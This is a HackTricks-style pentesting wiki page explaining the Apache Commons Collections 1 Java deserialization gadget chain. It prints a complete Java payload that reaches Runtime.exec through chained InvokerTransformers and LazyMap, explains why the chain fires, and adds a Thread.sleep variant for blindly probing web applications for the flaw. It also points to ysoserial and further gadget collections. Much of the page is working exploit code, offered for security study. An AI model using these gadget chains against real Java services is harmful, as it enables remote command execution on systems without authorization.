hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
2024-12-12 11:39:29 +01:00

11 KiB

CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Java Transformers to Rutime exec()

In several places you can find a java deserialization payload that uses transformers from Apache common collections like the following one:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
    public static void main(String... args) {
        String[] command = {"calc.exe"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //(1)
                new InvokerTransformer("getMethod",
                        new Class[]{ String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ), //(2)
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ), //(3)
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                ) //(4)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        
        //Execute gadgets
        lazyMap.get("anything");
    }
}

If you don't know anything about java deserialization payloads could be difficult to figure out why this code will execute a calc.

First of all you need to know that a Transformer in Java is something that receives a class and transforms it to a different one.
Also it's interesting to know that the payload being executed here is equivalent to:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Or more exactly, what is going to be executed at the end would be:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

How

So, how is the first payload presented equivalent to those "simple" one-liners?

First of all, you can notice in the payload that a chain (array) of transforms are created:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
        //(1) - Get gadget Class (from Runtime class)
        new ConstantTransformer(Runtime.class),
                
        //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
        new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ), 
        
        //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject 
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ), 
        
        //(4) - Use the Runtime object to call exec with arbitrary commands
        new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        )
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

If you read the code you will notice that if you somehow chains the transformation of the array you could be able to execute arbitrary commands.

So, how are those transforms chained?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

In the last section of the payload you can see that a Map object is created. Then, the function decorate is executed from LazyMap with the map object and the chained transformers. From the following code you can see that this will cause the chained transformers to be copied inside lazyMap.factory attribute:

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

And then the great finale is executed: lazyMap.get("anything");

This is the code of the get function:

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

And this is the code of the transform function

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

So, remember that inside factory we had saved chainedTransformer and inside of the transform function we are going through all those transformers chained and executing one after another. The funny thing, is that each transformer is using object as input and object is the output from the last transformer executed. Therefore, all the transforms are chained executing the malicious payload.

Summary

At the end, due to how is lazyMap managing the chained transformers inside the get method, it's like if we were executing the following code:

Object value = "someting";
        
value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", null}
        ).transform(value); //(2)
        
value = new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ).transform(value); //(3)
        
value = new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        ).transform(value); //(4)

Note how value is the input of each transform and the output of the previous transform , allowing the execution of a one-liner:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.

Java Thread Sleep

This payload could be handy to identify if the web is vulnerable as it will execute a sleep if it is.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
    public static void main(String... args) {
        final Transformer[] transformers = new Transformer[]{
        		new ConstantTransformer(Thread.class),
        		new InvokerTransformer("getMethod",
        		        new Class[]{
        		                String.class, Class[].class
        		        },
        		        new Object[]{
        		                "sleep", new Class[]{Long.TYPE}
        		        }),
        		new InvokerTransformer("invoke",
        		        new Class[]{
        		                Object.class, Object[].class
        		        }, new Object[]
        		        {
        		                null, new Object[] {7000L}
        		        }),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        
        //Execute gadgets
        lazyMap.get("anything");
        
    }
}

More Gadgets

You can find more gadgets here: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}